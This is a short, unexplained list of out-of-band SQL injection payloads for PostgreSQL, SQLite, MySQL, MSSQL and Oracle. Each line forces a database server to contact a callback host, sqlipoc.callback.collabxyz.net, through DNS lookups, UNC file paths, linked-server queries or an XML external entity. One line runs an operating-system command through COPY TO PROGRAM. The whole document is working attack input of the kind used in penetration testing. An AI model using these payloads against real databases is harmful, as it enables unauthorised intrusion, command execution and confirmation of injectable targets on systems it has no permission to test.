copy (select '') to program 'nslookup sqlipoc.callback.collabxyz.net' 
;attach database '//sqlipoc.callback.collabxyz.net/z' as 'z'-- -  
LOAD_FILE('\\\\sqlipoc.callback.collabxyz.net\\foo') 
SELECT … INTO OUTFILE '\\\\sqlipoc.callback.collabxyz.net\foo' 
SELECT * FROM openrowset('SQLNCLI', 'sqlipoc.callback.collabxyz.net';'a', 'select 1 from dual') 
EXEC master.dbo.xp_fileexist '\\\\sqlipoc.callback.collabxyz.net\\foo'
EXEC master.dbo.xp_dirtree '\\\\sqlipoc.callback.collabxyz.net\\foo' 
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://sqlipoc.callback.collabxyz.net/"> %remote;]>'),'/l')
